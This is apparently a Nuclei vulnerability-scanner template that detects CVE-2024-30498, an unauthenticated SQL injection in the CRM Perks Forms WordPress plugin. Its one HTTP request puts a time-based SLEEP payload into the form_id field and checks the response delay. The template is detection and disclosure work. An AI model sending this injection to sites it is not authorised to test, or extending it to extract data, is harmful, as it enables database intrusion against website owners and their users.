id: CVE-2024-30498

info:
  name: CRM Perks Forms <= 1.1.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    CRM Perks CRM Perks Forms (affected versions 1.1.4 and earlier) contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of CRM Perks Forms, version 1.1.5 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/crm-perks-forms/crm-perks-forms-114-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/crm-perks-forms/vulnerability/wordpress-crm-perks-forms-plugin-1-1-4-unauthenticated-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30498
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2024-30498
    epss-score: 0.02267
    epss-percentile: 0.80751
    cwe-id: CWE-89
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,crm-perks-forms

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=post_cfx_form&form_id=1%27OR(EXP(~(SELECT*FROM(SELECT(SLEEP(8)))a)))OR%27&vx_is_ajax=1&fixed[test]=a

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "\"status\":\"ok\"")'
        condition: and
# digest: 490a0046304402205bf4d218b246a4b10d8da012af92bd35a576f4722c841737262d1f3d821c852802203cd9567742cf9c3d648a3a4ba40c5333891f8cda655415efb82f1e1e5e59f322:922c64590222798bb761d5b6d8e72950